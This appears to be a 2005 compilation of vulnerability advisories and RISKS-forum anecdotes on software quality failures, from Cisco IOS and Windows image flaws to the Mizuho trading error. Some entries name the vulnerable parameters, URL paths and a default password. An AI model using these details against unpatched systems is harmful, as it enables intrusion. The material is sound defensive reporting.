Vulnerabilities have been found in Subdreamer. These can be exploited by attackers to conduct SQL injection attacks and compromise a vulnerable system. The vulnerability can be exploited to access the administration section where arbitrary PHP files can be uploaded and executed via the Image Manager panel. Secunia reports that the problem can be fixed by editing the source code to ensure that input is properly sanitized.

Category 21.1

General QA failures

2005-10-31

vulnerability hole IBM AIX chcons local buffer overflow boundary checking arbitrary code execution no update

DHS IAIP Daily; <http://www.securityfocus.com/bid/15247/references>

IBM AIX CHCONS LOCAL BUFFER OVERFLOW VULNERABILITY

IBM AIX chcons is prone to a local buffer overflow vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into insufficiently sized memory buffers. This issue presents itself when 'DEBUG MALLOC' is enabled. If the affected utility has setuid-superuser privileges, then a successful attack allows arbitrary machine code execution with superuser privileges. Security Focus reports that IBM has released advisories to address this issue. Fixes are not currently available. Advisories: <http://www-1.ibm.com/support/docview.wss?uid=isg1IY78241>, <http://www-1.ibm.com/support/docview.wss?uid=isg1IY78253>

Category 21.1

General QA failures

2005-10-31

vulnerability hole Avaya Ethereal arbitrary code execution denial-of-service DoS attack update future release

DHS IAIP Daily; <http://secunia.com/advisories/17392/>

AVAYA MULTIPLE ETHEREAL VULNERABILITIES

Avaya has acknowledged vulnerabilities in Ethereal which can be exploited by malicious people to cause a Denial of Service attack or compromise a vulnerable system. These attacks can include remote attackers sending malicious packets that could cause Ethereal to crash or execute arbitrary code. In order for an attacker to exploit these vulnerabilities an authenticated local system user would first manually start the Ethereal application. According to Secunia, the vendor is reportedly considering to include an update for a future release.

Category 21.1 General QA failures
2005-11-02 **vulnerability multiple Simple PHP blog input validation arbitrary code execution no solution**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15283/discuss>

SIMPLE PHP BLOG MULTIPLE INPUT VALIDATION VULNERABILITIES

The Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. Security Focus did not report a solution to this vulnerability.

Category 21.1 General QA failures
2005-11-02 **vulnerability Cisco airspace wireless LAN unencrypted access**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2278>

CISCO AIRESPACE WIRELESS LAN CONTROLLERS UNENCRYPTED NETWORK ACCESS

A vulnerability has been identified in Cisco Airespace Wireless LAN (WLAN) Controllers. This may be exploited by attackers to bypass security policies. This vulnerability is due to an error in the Lightweight Access Point Protocol (LWAPP) mode that accepts unencrypted traffic from end hosts even when configured to encrypt traffic, which could be exploited by attackers to send malicious traffic into a secure network.

Category 21.1 General QA failures
2005-11-02 **vulnerability Cisco IOS system timers heap buffer overflow denial-of-service DoS result**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15275/discuss>

CISCO IOS SYSTEM TIMERS HEAP BUFFER OVERFLOW VULNERABILITY

Cisco IOS is vulnerable to a heap based buffer overflow exploitation. Cisco has released an advisory stating that IOS upgrades are available to address the possibility of exploitation of heap based buffer overflow vulnerabilities which could lead to a Denial of Service. Security Focus was not aware if the advisory addresses a specific heap overflow or just provides security enhancements to mitigate attempts to exploit other heap overflow vulnerabilities. Cisco Security Advisory: <http://www.cisco.com/warp/public/707/cisco-sa-20051102-timer.s.shtml> References: <http://www.securityfocus.com/bid/15275/references>

Category 21.1 General QA failures
2005-11-03 **denial of service DoS outage bug flaw glitch backup failure business continuity**

RISKS; <http://www.vnunet.com/vnunet/news/2145336/software-bug-crashes-japanese> 24 09

SOFTWARE BUG CRASHES JAPANESE STOCK EXCHANGE

"The Tokyo Stock Exchange suffered its worst ever outage yesterday when trading was suspended for four and a half hours due to a software problem. A spokesman said that the glitch appeared to be connected to the decision to expand the trading system's capacity last month in response to high trading volumes. The modified system had worked well, but crashed when the automatic monthly clean-up of the software was implemented. A back-up system also failed because it uses the same software."

[Excerpt contributed by Mark M. Bennison]

Category 21.1 General QA failures
2005-11-04 **software quality assurance QA testing costs electronic toll system**

RISKS; <http://tinyurl.com/8sq6v> 24 09
ELECTRONIC TOLL GLITCH CAUSES DOUBLE-BILLING

Fast Lane double-billed 8,498 accounts this week, an error Massachusetts Turnpike Authority officials attributed yesterday to the electronic toll company running the system. The computer glitch drew money Tuesday out of credit card and checking accounts belonging to Fast Lane customers, then mistakenly docked the same customers Wednesday. The total wrongly withdrawn could amount to tens of thousands of dollars, said the Turnpike spokeswoman, Mariellen Burns.

[Contributed by Monty Solomon]

Category 21.1 General QA failures
2005-11-04 **vulnerability hole CuteNews template local file inclusion arbitrary code execution update issued**

DHS IAIP Daily; <http://secunia.com/advisories/17435/>

CUTENEWS "TEMPLATE" LOCAL FILE INCLUSION VULNERABILITY

A vulnerability has been found in CuteNews which could be exploited by attackers to disclose sensitive information and compromise a vulnerable system. The vulnerability is caused when input passed to the "template" parameter in "show_archives.php" and "show_news.php" is not properly verified before it is used to include files. This can be exploited to include arbitrary files from local resources. This can further be exploited to execute arbitrary PHP code by including the "inc/ipban.mdu" script where PHP code can be injected via the "add_ip" parameter. Successful exploitation requires disabling of "magic_quotes_gpc." The vulnerability has been fixed in an updated 1.4.1 version (build 178).

Category 21.1 General QA failures
2005-11-05 **vulnerability hole Macromedia Flash Player SWF arbitrary code execution update issued**

DHS IAIP Daily; <http://secunia.com/advisories/17430/>

MACROMEDIA FLASH PLAYER SWF FILE HANDLING ARBITRARY CODE EXECUTION VULNERABILITY

A vulnerability has been reported in Macromedia Flash Player which could be exploited to compromise a user's system. The vulnerability is caused due to missing validation of the frame-type identifier that is read from a SWF file. This value is used as an index in Flash.ocx to reference an array of function pointers. This can be exploited via a specially crafted SWF file to cause the index to reference memory that is under the attacker's control, which causes Flash Player to use attacker-supplied values as function pointers. Secunia recommends updating to Flash Player 8 (8.0.22.0) or apply Flash Player 7 update (7.0.61.0 or 7.0.60.0).

Category 21.1 General QA failures
2005-11-06 **vulnerability Cisco IOS heap overflow system reload remote code execution**

DHS IAIP Daily; <http://www.securiteam.com/securitynews/6E0011PEKA.html>

CISCO IOS HEAP-BASED OVERFLOW VULNERABILITY

The Cisco Internetwork Operating System (IOS) may permit arbitrary code execution after exploitation of a heap-based buffer overflow vulnerability. In many cases, a heap-based overflow in Cisco IOS will simply corrupt system memory and trigger a system reload when detected by the "Check Heaps" process, which monitors for such memory corruption. In a successful attack against an appropriate heap-based overflow, it is possible to achieve code execution without the device crashing immediately. Successful exploitations of heap-based buffer overflow vulnerabilities in Cisco IOS software often result in a Denial of Service. In some cases it is possible to overwrite areas of system memory and execute arbitrary code from those locations. In the event of successful remote code execution, device integrity will have been completely compromised. Cisco has included additional integrity checks in its software that are intended to reduce the likelihood of arbitrary code execution. The advisory is posted on Cisco's website. Cisco: http://www.cisco.com/en/US/products/products_security_advisory09186a008055ef31.shtml

Category 21.1

General QA failures

2005-11-07

vulnerability hole Magpie RSS httpsrequest arbitrary command execution update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2335>

MAGPIERSS "HTTPSREQUEST" FUNCTION REMOTE COMMAND EXECUTION ISSUE

A vulnerability has been identified in MagpieRSS, which could be exploited by remote attackers to execute arbitrary commands. The vulnerability is due to an input validation error in the "_httpsrequest" function of Snoopy when passing malformed URLs to the "exec()" call, which could be exploited by remote attackers to execute arbitrary commands via a specially crafted URL. FrSIRT recommends upgrading to MagpieRSS version 0.72.

Category 21.1

General QA failures

2005-11-08

vulnerability Microsoft Windows graphics rendering engine WMF/EMF arbitrary code execution update issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/15352/references>

MICROSOFT WINDOWS GRAPHICS RENDERING ENGINE WMF/EMF FORMAT CODE EXECUTION VULNERABILITY

Multiple vulnerabilities were identified in Microsoft Windows, which could be exploited by remote attackers to execute arbitrary commands or cause a denial of service. The first issue is due to heap overflow errors in "GDI32.DLL" when processing malformed Windows Metafile (WMF) and Enhanced Metafile (EMF) images, which could be exploited by convincing a user to visit a malicious Website using Internet Explorer, read a malicious email using Outlook, or open a specially crafted Office document containing a malicious image. The second flaw is due to an integer overflow error in the "PlayMetaFileRecord0()" function of "GDI32.DLL" that does not properly handle malformed Windows Metafile (WMF) images, which could be exploited by convincing a user to visit a malicious Website using Internet Explorer, read a malicious email using Outlook, or open a specially crafted Office document containing a malicious image. The third vulnerability is due to an error in the "GetEnhMetaFilePaletteEntries()" function of "GDI32.DLL" when processing malformed Enhanced Metafile (EMF) images, which could be exploited to cause a denial of service via a malicious image. Security Focus reports that Microsoft has released a bulletin that includes fixes for supported versions of the operating system. Bulletin: <http://www.microsoft.com/technet/security/bulletin/ms05-nov.mspx>

Category 21.1

General QA failures

2005-11-08

critical vulnerability update fix US-CERT Microsoft Windows Image Processing arbitrary code execution denial-of-service DoS

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-312A.html>

MICROSOFT WINDOWS IMAGE PROCESSING VULNERABILITIES

Microsoft has released updates that address critical vulnerabilities in Windows graphics rendering services. A remote, unauthenticated attacker exploiting these vulnerabilities could execute arbitrary code or cause a denial of service on an affected system. The Microsoft Security Bulletin for November 2005 addresses multiple buffer overflows in Windows image processing routines. Viewing a specially crafted image from an application that uses a vulnerable routine may trigger these vulnerabilities. If this application can access images from remote sources, such as Websites or e-mail, then remote exploitation is possible. Microsoft has provided the updates to correct these vulnerabilities in Microsoft Security Bulletin MS05-053. MS05-053: <http://www.microsoft.com/technet/security/bulletin/MS05-053.mspx>

Category 21.1

General QA failures

2005-11-09

vulnerability VERITAS NetBackup buffer overflow denial-of-service DoS arbitrary command execution

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2349>

VERITAS NETBACKUP VOLUME MANAGER DAEMON BUFFER OVERFLOW ISSUE

A vulnerability has been identified in VERITAS NetBackup, which could be exploited by remote attackers to execute arbitrary commands or cause a denial of service. This is due to a buffer overflow error in a shared library used by the volume manager daemon (vmd) that does not properly handle specially crafted requests port 13701, which could be exploited by remote attackers to execute arbitrary commands with root/SYSTEM privileges. FrSIRT reports that this issue is formally resolved in NetBackup Enterprise Server/Server Security Packs. Security Packs: http://support.veritas.com/menu_ddProduct_NBUESVR_view_DOWNL OAD.htm

Category 21.1

General QA failures

2005-11-11

vulnerability multiple Nortel CallPilot privilege escalation update issued

DHS IAIP Daily; <http://secunia.com/advisories/17509/>

NORTEL CALLPILOT MULTIPLE VULNERABILITIES

Nortel Networks has found multiple vulnerabilities in Nortel CallPilot, which potentially can be exploited by malicious, local users to gain escalated privileges, or by malicious people to cause a DoS (Denial of Service), or compromise a user's system or vulnerable system. The vulnerabilities have been reported in versions 3.0 and 4.0. The vulnerability in MS05-050 (SA17160) also affects versions 1.07 and 2.x. The vendor recommends users follow the instructions in Security Advisory P-2005-0056-Global (access to this document requires an active support agreement with Nortel):
<http://www130.nortelnetworks.com...63252&RenditionID=REND359> 659

Category 21.1

General QA failures

2005-11-14

vulnerability Cisco Internet Key Exchange packets handling denial-of-service DoS update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2406>

CISCO INTERNET KEY EXCHANGE PACKETS HANDLING VULNERABILITIES

Multiple vulnerabilities were identified in various Cisco products, which could be exploited by remote attackers to cause a denial of service. These flaws are due to errors in ISAKMP when handling malformed Internet Key Exchange Phase 1 packets, which could be exploited by remote attackers to cause a denial of service that may result in the restart of the device. FrSIRT reports that Cisco has a fixed version available. Fixed version: <http://www.cisco.com/warp/public/707/cisco-sa-20051114-ipsec.shtml#software>

Category 21.1

General QA failures

2005-11-17

vulnerability Qualcomm Eudora worldMail server directory traversal arbitrary file retrieval

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2479>

QUALCOMM EUDORA WORLDMAIL SERVER DIRECTORY TAVERSAL VULNERABILITY

A vulnerability has been identified in Qualcomm Eudora WorldMail Server. This may be exploited by attackers to retrieve arbitrary files from a vulnerable system. This flaw is due to an input validation error in the IMAP daemon that does not properly handle specially crafted commands containing directory traversal sequences. This may may be exploited by authenticated attackers to retrieve arbitrary files from a vulnerable system or read/manage other user's email messages. The FrSIRT is not aware of any official supplied patch for this issue.

Category 21.1

General QA failures

2005-11-17

vulnerability multiple Hitachi Wireless IP5000 VoIP

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2475>

HITACHI WIRELESSIP5000 IP PHONE MULTIPLE REMOTE VULNERABILITIES

Multiple vulnerabilities have been identified in Hitachi WirelessIP5000 IP Phone. They could be exploited by remote attackers to gain unauthorized access or cause a denial of service. The issues include a design error where a default password ("0000") can be used to access administrative functions,a vulnerability which resides in the default index page of the HTTP server (port 8080), an error in the HTTP server that does not require authentication, a design error where the device provides an SNMP service accessible with any credentials, and an undocumented open port (TCP/3390).

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-11-17		software design quality assurance QA date handling leap years input range testing
RISKS		24 09

AND WE THOUGHT DATE PROBLEMS WERE OVER WITH Y2K

In a Q&A session about our airline's new staff travel online booking system, the following was asked:

Q. I am unable to book [a flight] online because my date of joining is February 29. What should I do?

A. Because you joined in a leap year the system is unable to identify your date of joining. You will need to ask Employee Services to change your date to February 28 for staff travel purposes.

The risk: if the booking system doesn't recognise February 29 then there are going to be a lot of empty flights on that date!! In this post-Y2K age, it is astonishing that we are still suffering from such date issues and this is not even with legacy systems, but brand new ones.

[Contributed by Chris Brady]

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-11-17		quality assurance issues design flaw AAA Website registration identity theft risk
RISKS		24 11

AAA WEB INTERFACE SECURITY ISSUES

Marty Lyons writes about the quality assurance issues with the new Website of the American Automobile Association (AAA). His story:

To sign up for an account, I needed to supply a membership number (printed on your plastic member card), and my name (also printed on the card), along with an email address, and a chosen account name. A few seconds later, I was logged in, and was able to check my account info, including mailing address, and type of credit card used for membership.

There was no verification of identity at all during account establishment. At a minimum, mandating that a user-entered postal code match the AAA database prior to creating the account would have afforded some protection.

So with a AAA member number and name, someone is well on their way to identity theft -- the rest of your wallet not required. Since many places take AAA cards to provide discounted services (hotels, car repair, restaurants, movie theatres, etc.) you can imagine the RISK. I've sent a letter to the organization letting them know their web registration needs to be redesigned.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-11-22		vulnerability hole Microsoft Internet Explorer IE JavaScript no patch issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/13799/references>

VULNERABILITY IN THE WAY INTERNET EXPLORER HANDLES ONLOAD EVENTS COULD ALLOW REMOTE CODE EXECUTION

Microsoft Internet Explorer has been affected by a remote code execution vulnerability. This vulnerability presents itself when the browser handles a JavaScript 'onLoad' handler in conjunction with an improperly initialized 'window' JavaScript function. This issue was originally publicly reported in May 2005 as being a stability issue that caused the browser to close. Since then, new information has been posted that indicates remote code execution could be possible. This issue may be exploited to execute arbitrary remote code in the context of the user running the affected application. Failed exploitation attempts likely result in the application crashing. Security Focus reports having no knowledge of a vendor-supplied patch for this issue.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>
2005-11-23		quality assurance issues design flaw bad erroneous date handling
RISKS		24
HANDLING ERRONEOUS DATES		11

Category 21.1 *General QA failures*
2005-11-29 **vulnerability hole Cisco IOS HTTP server HTML injection cross-site scripting**
DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/2657>
CISCO IOS HTTP SERVER HTML INJECTION AND CROSS SITE SCRIPTING ISSUE

A vulnerability has been identified in Cisco IOS, which could be exploited by attackers to inject malicious HTML code. This issue is due to an input validation error in the "dump" option (/level/15/exec/-/buffers/assigned/dump) of the HTTP Server that does not properly validate certain data before being displayed in the Web interface, which may be exploited by remote attackers to cause arbitrary HTML code to be executed by the user's browser in the security context of an affected server (e.g. change the "ENABLE" password by injecting HTML code via the "/level/15/configure/-/enable/secret/" link).

Category 21.1 **General QA failures**
2005-11-29 **vulnerability Microsoft Windows SynAttackProtect denial-of-service DoS attack**
DHS IAIP Daily; <http://www.securityfocus.com/bid/15613/references>
MICROSOFT WINDOWS SYNATTACKPROTECT PREDICTABLE HASH REMOTE DENIAL OF SERVICE
VULNERABILITY

Microsoft Windows is prone to a denial of service vulnerability. The vulnerability arises due to a design error in the function responsible for the hash table management for "SynAttackProtect." Reports indicate that the affected function used by the TCP/IP stack creates a predictable hash, allowing an attacker to send a large number of SYN packets with an identical hash value. A successful attack can eventually lead to a denial of service condition due to the lookup algorithm becoming very inefficient at performing searches. Solution: <http://www.securityfocus.com/bid/15613/solution>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-11-30		software glitch quality assurance QA issue design flaw LAPD police law enforcement computer upgrade		
RISKS			24	12
LAPD SOFTWARE GLITCH				

A software glitch has interrupted the sweeping overhaul of city emergency communications, which could delay the upgrade of police car computer systems by up to two years, officials said Monday. News about the glitch in the city's \$15 million contract with Northrop Grumman Information Technology drew a strong reaction from the City Council's Public Safety Committee.

[Abstract by Peter G. Neumann]

<i>Category 21.1</i>	<i>General QA failures</i>
2005-11-30	quality assurance issues design flaw Y2K++ bad year data McGraw-Hill TruSource programming errors
RISKS	24 11

ERRONEOUS YEARS IN RETIREMENT DATA

Contributor Jim Horning's employer had outsourced its 401(k) plan administration to TruSource, a division of Union Bank of California, N.A.

When Mr. Horning looked through some retirement-plan data, he noticed a chart containing dates from the 31st and 41st centuries. The chart for the Pioneer High Yield Fund "(SINCE 03/31/98)" was labeled, "4098 3099 2000 1001 4001 4002 2003 1004 4004 3005". Mr. Horning concludes, "[A]pparently the dates escaped the notice of the humans (if any) at McGraw-Hill and TruSource who were in the loop in the preparation of these documents. It is interesting to speculate what combination of programming errors would yield this precise sequence of dates."

[Abstract by Karthik Raman]

RISKS Contributor Paul E. Ford conjectures that the dates are poorly formatted but correct:

Given the rising sequence in the last 2 digits and selective set in the first digit, I would surmise that these represent some sort of quarter data. So, 98Q4 through 05Q3. Any possibility the second position 0s are actually Qs?

Mr. Horning responds, "Paul, What sharp eyes you have! You could see those Qs even when I transcribed the data by hand. I can barely see them as Qs on the original, even given your helpful suggestion, but I do believe that you are correct."

Peter Neumann concludes:

Also noted by Amos Shapir, who observed that the date labels are placed three quarters apart. But that still does not explain the "4002", which looks as if it should have been "3002". Before running Jim's item in RISKS-24.11, I explicitly asked him to check whether the "4002" was accurately represented by him, and he did verify that. So, I suspect that the "4002" may have been a recording error in the original, or else a lapse in the reporting schedule.

<i>Category 21.1</i>	<i>General QA failures</i>
2005-11-30	vulnerability Perl format string arbitrary code execution user input sanitization
DHS IAIP Daily; http://www.securityfocus.com/bid/15629/references	
PERL PERL_SV_VCATPVFN FORMAT STRING VULNERABILITY	

Perl is susceptible to a format string vulnerability. This issue is due to a failure of the programming language to properly handle format specifiers in formatted printing functions. An attacker may leverage this issue to write to arbitrary process memory, facilitating code execution in the context of the Perl interpreter process. This can result in unauthorized remote access. Developers should treat the formatted printing functions in Perl as equivalently vulnerable to exploitation as the C library versions, and properly sanitize all data passed in the format specifier argument. Solution:
<http://www.securityfocus.com/bid/15629/solution>

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>		
2005-12-01		Japan Tokyo Stock Exchange human data-input error multimillion dollar loss Mizuho Securities Co. software quality assurance design flaw		

RISKS; <http://business.timesonline.co.uk/article/0,,13133-1948579,00.html> 24 12

HUMAN ERROR RESULTS IN \$MULTIMILLION LOSS

Japanese financial-services firm Mizuho Securities Co. Said Thursday it erroneously placed sell orders because of a simple human data-input mistake that apparently ignored an error warning. This cost Mizuho at least 27 billion yen (\$225 million). The company mistakenly sold 610,000 shares of J-Com Co. At 1 yen (less than 1 cent) per share, instead of the request to sell just one share at 610,000 yen (\$5,080). The mishap sent the benchmark Nikkei 225 index down 1.95 percent on the Tokyo Stock Exchange. Mizuho Financial Group dropped 3.4 percent to 890,000 yen (\$7,416.67).

[Abstract by Peter G. Neumann]

RISKS contributor Tomas Uribe follows-up:

One would think that "money-critical" systems would have more stringent safeguards against this type of thing. Also, someone must have made \$225 million as well--who might have been the lucky ones who bought the discounted shares?

Jeremy Epstein dug through the RISKS archive to find a similar mishap at the Tokyo Stock Exchange (RISKS-21.81):

Before the Tokyo market opened Friday, a UBS Warburg trader entered what was intended to be an order to sell 16 Dentsu shares at 610,000 yen (\$4,924.53) each or above. Instead, the trader keyed in an order to sell 610,000 Dentsu shares at 16 yen apiece.

Peter Neumann remarks, "I knew the new case sounded familiar! Perhaps the 610,000 is a default number for an erroneous field? That's quite a coincidence."

In another follow-up, "RsH" writes:

As per the information in the Reuters item <http://asia.news.yahoo.com/051211/3/2c7vk.html> the actual loss may be lower or more than the \$225 million as the amount of the premium that will need to be paid to buy back shares is still to be determined. The sale order was for about 41 times the actual number of shares actually outstanding, incidentally.

It turns out that the Tokyo Stock Exchange's own software was responsible for part of the problem, as it prevented the cancellation of the order from being processed!

RsH echoes Jeremy Epstein's comment: Also note that this is NOT the first time this has happened at the TSE, and they have yet to fix their system!

The Times, a UK newspaper had the following story about how this episode at the TSE concluded:

The president of the Tokyo Stock Exchange resigned yesterday to take responsibility for the "fat-finger" trading error that sparked a day of mayhem on Tokyo markets earlier this month. Takuo Tsurushima resigned along with Sadao Yoshino, the bourse's managing director, and Yasuo Tobiyama, its head of computer systems. The incident has left considerable turmoil in its wake: Mizuho Securities lost 40 billion yen (Â£195 million) on the botched trade and two Japanese day traders made Y2.5 billion in a few minutes.

Western investment houses who made money from the error have been publicly criticized by the Japanese Government and agreed to pay the profits they made into an investors' protection fund.

Losses from the trade were sufficient to force Mizuho to cancel all end-of-year bonuses from the securities arm. The trader, believed to be a 24-year-old woman relatively inexperienced on the dealing floor, had wanted to sell one share in J Com, a new telecoms firm, for Y600,000. She mistyped the order and sold 600,000 shares at Y1 each.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>			
2005-12-01		automobile brake testing failure quality assurance failure lack of feedback			
RISKS; http://www.theregister.co.uk/2005/11/29/mercedes_brake_test_fiasco/			24		11
MERCEDES AUTOMOBILE TEST FAILURE					

RISKS contributor Andre Kramer summarizes an article from *The Register*:

The Register reports that an automotive journalist was fired for rigging a radar enhanced (assumedly computer controlled) automobile brake system demonstration. Apparently, the Mercedes engineers (under duress) helped simulate the demonstration, which could not have worked in an enclosed space, by manual braking. However, the demo went badly wrong and the article http://www.theregister.co.uk/2005/11/29/mercedes_brake_test_fiasco/ correctly identified the risk of false trust in a new system that would have resulted from the attempted smoke and black mirrors going undetected. [Risks of lack of feedback from expensive car suspension systems could also be noted.]

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>			
2005-12-02		Microsoft Internet Explorer IE design flaw crack Google Desktop Search hijack user information			

DHS IAIP Daily;
<http://www.eweek.com/article2/0,1759,1895579,00.asp?kc=EWRSS03129TX1K0000614>

IE DESIGN FLAW LETS HACKER CRACK GOOGLE

An unpatched design flaw in Microsoft Corp.'s Internet Explorer browser could give malicious hackers an easy way to use the Google Desktop application to covertly hijack user information. The vulnerability was discovered in the cross-domain protections in Internet Explorer and a proof-of-concept exploit has been published. A spokesperson for Microsoft acknowledged the flaw in a statement and said the company was unaware of active attacks against IE users. The hacker who discovered the vulnerability used the Google Desktop utility to prove his findings, but in theory, any domain or application that depends on the IE cross-domain security model is vulnerable. Google spokesperson Sonya Boravly said initial investigations show that the problem resides in IE and not as a result of any vulnerabilities in Google Desktop, the downloadable utility that lets PC users merge desktop and search results on the well-known browser interface.

<i>Category</i>	<i>21.1</i>	<i>General QA failures</i>			
2005-12-04		GPS speed restriction design flaw Transport Canada device safety-critical systems			

RISKS; http://www.cnn.com/2005/AUTOS/12/01/canada_gps_speed/index.html 24 11
RISKS OF GPS-BASED AUTOMATIC SPEED RESTRICTION ON VEHICLES

Jeremy Epstein complains about a device Transport Canada is testing which, if you have GPS increases the resistance in the gas pedal if you try to exceed the speed limit. Mr. Epstein remarks, "Bad idea." He writes:

I'm not an expert in GPS systems, but I've seen them get confused, especially when there are nearby parallel roads. I wouldn't want it to hold my speed to 25 MPH because it thinks I'm on the dirt road that runs parallel to a highway. And if the device changes its mind suddenly, the results could be catastrophic - I'm pushing hard on the accelerator because (for whatever reason) I decide to exceed the speed limit, and suddenly it decides the speed limit has increased - now I'm flooring the car because it reduces its resistance factor. Conversely, if I have a normal pressure on the accelerator, and the speed limit drops, the device might cause my speed to drop precipitously. I'm sure there are lots of other GPS-based risks - what does the device do if it can't find a GPS signal?

Category 21.1 General QA failures

2005-12-05

Microsoft Internet Explorer IE design flaw crack Google Desktop Search fortified

DHS IAIP Daily; <http://www.pcpro.co.uk/news/81024/google-fortifies-desktop-search-against-ie-flaw.html>

GOOGLE FORTIFIES DESKTOP SEARCH AGAINST IE FLAW

Google has altered its Desktop Search so that it can no longer be used in digital attacks in conjunction with a flaw in Microsoft's Internet Explorer (IE). On Friday, December 2, an Israeli hacker reported having discovered a means of remotely using Google desktop search to remotely search the computers logged on to a specially built website using Microsoft's IE. Problems in the way the browser handles Cascading Style Sheets (CSS) led to a short cut round the restrictions the browser places on interaction between different domains. Hacker Matan Gillon posted proof-of-concept code last week, but now says that it now "no longer works because Google slightly changed their site's code." However, Google told reporters that the flaw is a problem with IE, rather than the search giant's software, so the CSS problem remains at large.

Category 21.1 General QA failures

2005-12-05

Microsoft unpatched Internet Explorer IE Trojan horse vulnerability flaw exploit

DHS IAIP Daily; <http://news.zdnet.co.uk/0,39020330,39240189,00.htm>

TROJANS TARGET UNPATCHED IE FLAW

Computer users have been warned that several Trojan horses that exploit an unpatched flaw in Internet Explorer (IE) have been discovered. Two exploits that use the recently disclosed vulnerability were reported by antivirus company Sophos on Friday, December 2. Called Chunky-B and Delf-LT, the exploits could allow malicious code to be executed remotely on a user's PC. These Trojans could "download anything, including a 'banker Trojan' that gives up your bank details," according to a Sophos spokesperson. Systems running Microsoft IE on Windows XP Service Packs 1 and 2 are vulnerable to attack. Machines running Windows 98, Windows 98 SE, Windows Me and Windows 2000 Service Pack 4 are also vulnerable to the exploits. Microsoft is not due to issue another round of security patches until Tuesday, December 13. Some security experts have suggested the company should roll out an unscheduled patch before this time to address this flaw. However, it's not clear whether the flaw will even be addressed in the next Microsoft security bulletin. Sophos advised users to turn off the Active Scripting facility in IE, as a stop-gap measure.

Category 21.1 General QA failures

2005-12-05

vulnerability flaw Microsoft SQL Server 2000 2K profiler database

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1896302,00.asp>

FLAW FOUND IN MICROSOFT'S SQL SERVER 2000 PROFILER

A recently discovered vulnerability in Microsoft Corp.'s SQL Server 2000 database allows users to mask their login names. The vulnerability was discovered by Imperva, a researcher and vendor of data-center security products. The flaw shows up in the use of SQL Profiler in Microsoft SQL Server 2000 to audit connections to SQL Server 2000 by using the Audit Login event class. When login names contain leading zero characters, those names are not visible in the contexts of the SQL Profiler graphical user interface, a trace file that is saved by SQL Profiler, and in a trace table that is saved by SQL Profiler. Microsoft put out an advisory that stated that the problem only applies to the Profiler in SQL Server 2000. The problem is fixed in the Profiler in SQL Server 2005 when users use the Profiler to audit connections to SQL Server 2005. Microsoft recommends that users audit connections to SQL Server 2000 by using server-side tracing and by loading the resulting data from a server-side trace file into a database table by using the fn_trace_gettable function. Microsoft Advisory:
<http://support.microsoft.com/default.aspx?scid=kb;en-us;910741>

Category 21.1 General QA failures
2005-12-08 **Microsoft Internet Explorer IE7 security improvements blog entry developers**

DHS IAIP Daily;
<http://www.techweb.com/wire/security/174906971;jsessionid=WR E35TOIAV2AUQSNDBECKH0CJUMEKJVN>

MICROSOFT TO BEEF UP INTERNET EXPLORER 7 SECURITY

Microsoft is changing Internet Explorer (IE) 7's security zones in a bid to create a more attack-resistant browser, according to a public blog entry written by three developers at the software giant. Like its predecessors, IE 7 enforces security policies by clumping sites into four security categories, or zones, dubbed Internet, Intranet, Trusted Sites, and Restricted Sites. Typically, the Intranet zone comes with fewer restrictions than the Internet zone. In the past, however, attackers have sometimes managed to fool IE into treating an outside site as in one of the less-secure zones, known as a "zone-spoofing attack." To prevent some of these attacks, IE 7 will instead treat all sites as being in the more-secure Internet zone, unless the PC is really part of a managed network (such as is often the case in a corporate environment). "This change effectively removes the attack surface of the intranet zone for home PC users," wrote Vishu Gupta, Rob Franco and Venkat Kudulur, on the trio's "IEblog".

Category 21.1 General QA failures
2005-12-08 **design flaw malicious anti-piracy approach MacInTouch Printer Setup Mac OS X Tiger**

RISKS 24 12

MALCIOUS ANTI-PIRACY MEASURE IN MACINTOUCH

Veteran RISKS contributor Monty Solomon reports of a dangerous design flaw in MacInTouch printer set up software for Mac OS X Tiger:

[MacInTouch Reader]
Printer Setup Repair, the widely-used utility for Mac OS X printers, has taken a malicious approach to combating software piracy. With version 5.0.3 for Mac OS X Tiger, if the user enters a pirated serial number known to the program, the program will immediately and without any warning remove all user preferences and the user keychain, and possibly do other unknown damage to the user's system.

The response of John Goodchild, President of Fixamac Software, Inc to this was:

Thank you for bringing this to our attention. We have examined our code and discovered an error in the area that rejects pirated registration codes. The original objective was to delete the Printer Setup Repair preferences but a misplaced space in the code allowed the entire user preferences folder to be erased. This would only occur if a pirated code was used. The error was probably overlooked since there was a need to block a new batch of pirated codes quickly. There was no such error in the area that handles legitimate registration codes and in no way can occur if a legitimate registration code is entered incorrectly since the user name is also a part of our internal tests. We have fixed the problem and posted an update. This was not a malicious act on our part, rather an effort to protect our product from software pirates, and we regret any damage that may have been caused by the use of pirated registration codes. Anyone who downloaded Printer Setup Repair 5.0.3 between 11-05-05 and 12-06-05 should download the current release from our web site.

Category 21.1 General QA failures
2005-12-09 **eBay auction Microsoft Excel zero-day exploit code**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1899697,00.asp>

EBAY PULLS BIDDING FOR MICROSOFT EXCEL VULNERABILITY

